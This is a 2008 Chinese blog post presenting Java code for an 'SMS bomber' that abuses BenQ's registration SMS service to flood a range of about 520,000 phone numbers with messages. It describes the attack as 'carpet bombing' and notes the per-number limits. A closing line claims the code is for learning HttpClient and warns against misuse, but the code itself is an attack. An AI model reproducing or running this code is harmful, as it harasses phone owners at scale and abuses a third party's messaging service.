---
title: "厄...调用明基注册短信进行大规模搔扰"
author: "vlinux"
date: "2008-08-30T02:49:12Z"
tags: []
categories: ["编程语言"]
slug: "untitled"
draft: false
lastmod: "2010-06-23T03:42:48Z"
id: 234699
url: "https://vlinux.iteye.com/blog/234699"
---

一个简单的调用例子

```
import java.util.ArrayList;
import java.util.Collection;

import com.javaeye.vlinux.smsbomber.Bomber;
import com.javaeye.vlinux.smsbomber.BomberFactory;
import com.javaeye.vlinux.smsbomber.BombingException;

public class ExampleA {

	public static void main(String... args) throws BombingException {
		Bomber bomber = BomberFactory.make(BomberFactory.WWW_BENQ_COM_CN);
		//从13967000000l一直到13967519999l都是被轰炸的目标
		Collection<Long> targets = new ArrayList<Long>();
		for( long target=13967000000l; target<13967519999l; target++ ) {
			targets.add(target);
		}//for 初始化轰炸目标
		bomber.setTarget(targets);	//设置轰炸目标
		bomber.bombing(null);	//开始地毯式轰炸
	}
	
}
```

 

每个号码只能被轰炸10次，每次间隔至少10分钟。

主要是用来交流HttpClient的使用，禁止乱玩哦，否则要负担起法律责任地...